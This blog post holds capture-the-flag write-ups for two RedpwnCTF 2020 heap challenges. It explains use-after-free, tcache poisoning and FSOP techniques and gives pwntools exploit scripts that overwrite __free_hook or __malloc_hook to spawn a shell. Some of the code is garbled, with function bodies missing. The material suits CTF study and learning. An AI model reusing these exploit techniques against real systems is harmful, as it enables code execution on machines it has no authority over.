Search This Blog

Thursday, June 25, 2020

RedpwnCTF 2020 Pwn Writeups (Four Function Heap, Zero the Hero)

RedpwnCTF 2020 was a really fun CTF and had some great pwns. Here were some of the pwns I found really interesting (my writeups for the Rust pwns are posted separately).

Four Function Heap:

This is a classic libc 2.27 heap problem with a UAF vulnerability as the pointer is not nulled out after being freed in the delete() function. Like every standard heap pwn, you can do 3 things: allocate, delete, and view. However, it capped you at 14 moves in the main function. Another small tricky part is the indexing rules:

ulong getindex(void)
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("{{prompts.index}}: ");
  if (((int)local_14 < 0) || (0 < (int)local_14)) {
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
  return (ulong)local_14;

From this function, we know we can only access index 0. We can also allocate up to size 0x1000 (enough to free sizes that will directly go into unsorted). Thinking about what we have here, I came up with the following 14 step exploit strategy.

1. Allocate a medium sized tcache chunk (approximately in the 0x200 range)

2-4. Use the UAF vuln to free it 3 times (double free)

5. Show this index to get a heap leak from chunk metadata

6. Allocate a chunk of the same size as step 1, and change the fd pointer to point to the tcache_perthread_struct

7. Allocate a chunk of the same size again. The next chunk you ask for of this size will be returned at the fd pointer you wrote into the metadata above.

8. Allocate a chunk of the same size again; as mentioned above, it will be located at the tcache_perthread_struct. Overwrite metadata in a way so that this chunk size and another chunk size appear to be full (count 7 in the tcache_perthread_struct). The original tcache chunk chosen had to be somewhat large too because you need to forge pointers in the location where the tcache_perthread_struct stores pointers to free chunks below. I forged them in a way to return the location of the first chunk we allocated.

9. Free this chunk over the tcache_perthread_struct; since the tcache for that size appears full, it goes into the unsorted bin.

10. Grab the main arena leak that got produced in the step above.

11-13. We now allocate from the other size we filled (although the size I chose had its tcache count overwritten by a large enough number from unsorted bin pointers). Repeat step 6-8 to get a chunk at __free_hook - 8 and overwrite it on the final allocation with /bin/sh + system (I found this trick from NotDeGhost's writeups).

14. Now we can just call free and get a shell!

Here's my final exploit:

from pwn import *

IP = ""
PORT = 31774

bin = ELF('./four-function-heap')
libc = ELF('./')
p = remote(IP, PORT)

def wait():

def alloc(size, data='A'):

def free():

def show():

size1 = 0x200
size2 = 0x90

for i in range(3):
heapleak = u64(p.recv(6).ljust(8, '\x00'))
heapbase = heapleak - 0x260"Heap leak: " + hex(heapleak))
alloc(size1, p64(heapbase+0x10))
alloc(size1, p64(heapleak)*0x30)
alloc(size1, p64(0) + p64(0x0000000000000007) + p64(0) * 2 + p64(0x0000000007000000) + p64(0) * 11 + p64(heapleak)*2)
libcleak = u64(p.recv(6).ljust(8, '\x00'))
libc.address = libcleak - 0x3ebca0"Libc base: " + hex(libc.address))
alloc(size2, p64(libc.symbols['__free_hook'] - 8))
alloc(size2, '/bin/sh\x00' + p64(libc.symbols['system']))

Zero the Hero:

This is a more challenging heap problem that required FSOP to pop a shell.

Here is the entire binary reversed:
void main(void)

  void *chunk;
  long size;

  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("How many zeroes do you want?");
  chunk = malloc(size);
  printf("I put a bunch of zeroes here: %p\n",chunk);
  puts("How much do you want to read?");
  *(void *)((long)chunk + size) = 0x30;
  puts("How badly do you want to be a hero?");
  if (size == main) {
    system("echo flag.txt");

So we can allocate whatever size we want, and can write a 0x30 anywhere since there is no bounds check on indexing; it also leaks you the location of the heap pointer. The last comparison to main is simply a troll.

With the first arbitrary malloc size, we can allocate a chunk large enough to force the binary to mmap a new region. If the size is large enough, it should mmap a region right above libc. The offset of that pointer to libc regions should be constant and can be discovered through debugging.

Since scanf with the %ms specifier guarantees heap usage, the first thing I thought of was FSOP. We can use the unindexed write to change a byte in _IO_2_1_stdin_'s _IO_buf_end, therefore allowing us to overwrite file structures as well as __malloc_hook under the file structures in memory. However, in order for this write to work, we had to bruteforce to ensure that changing a byte to 0x30 will allow us to reach _malloc_hook but not too much below (which can risk segfaulting or breaking other parts of the program, as we do need to preserve the contents of memory there as closely as possible).

With some debugging, I noticed a pattern of 0x2a appearing every few instances as the second lowest byte for the _IO_buf_end of _IO_2_1_stdin_; flipping that to 0x30 will allow us reach to __malloc_hook, but not too far afterwards. We can carefully overwrite the file structures (basically, you want to preserve their memory contents), and just flip __malloc_hook to a one gadget. This bruteforce will also require you to write into main arena regions, but since we are targeting __malloc_hook, we can just destroy the heap as malloc will never reach that stage. Here is my final exploit (I highly recommend using eu_unstrip to remerge complete libc debug symbols because the file structures have a lot of different symbols that you won't find in a standard libc file):

from pwn import *

IP = ""
PORT = 31643

bin = ELF('./zero')
libc = ELF('./')

def wait():

goodleaks = False
while not goodleaks:
p = remote(IP, PORT)

def wait():

p.recvuntil('do you want?\n')
leak = int(p.recvline().split()[-1], 16) #heap chunk on mmap
libc.address = leak + 0xbc6ff0
onegadget = libc.address + 0x10a38c
stdiniobufend = libc.symbols['_IO_2_1_stdin_'] + 64
shortbuf = libc.address + 0x3eba83
if int(hex(shortbuf)[10:12], 16) == 0x2a:
goodleaks = True
p.close()"Heap pointer leak: %s" % hex(leak))"Libc base: %s" % hex(libc.address))"Possible one gadgets: %s" % hex(onegadget))"stdin shortbuf: %s" % hex(shortbuf))"stdin buf end: %s" % hex(stdiniobufend))
p.recvuntil("want to read?\n")
p.sendline(str(stdiniobufend - leak + 1))

payload = (''
+ '\x00' * 5
+ p64(libc.symbols['_IO_stdfile_0_lock'])
+ p64(0xffffffffffffffff)
+ p64(0)
+ p64(libc.symbols['_IO_wide_data_0'])
+ p64(0) * 3
+ p64(0x00000000ffffffff)
+ p64(0) * 2
+ p64(libc.symbols['_IO_file_jumps'])
+ p64(0) * 19 * 2
+ p64(libc.address + 0x3e7d60)
+ p64(0)
+ p64(libc.symbols['memalign_hook_ini'])
+ p64(libc.symbols['realloc_hook_ini'])
+ p64(onegadget) #overwrite malloc hook
+ p64(0)
+ '\x00' * 0x400 #heap can be destroyed, __malloc_hook will prevent it from ever checking the heap
+ '')

The bruteforce really shouldn't take over a few seconds. Overall, this challenge was very fun. Thanks to NotDeGhost for writing these fun problems!

There were also pwnables written in Rust during this CTF, which was pretty interesting as it was my first time dealing with non C binaries in pwn. I managed to finish all of them and made writeups of them here.

No comments:

Post a Comment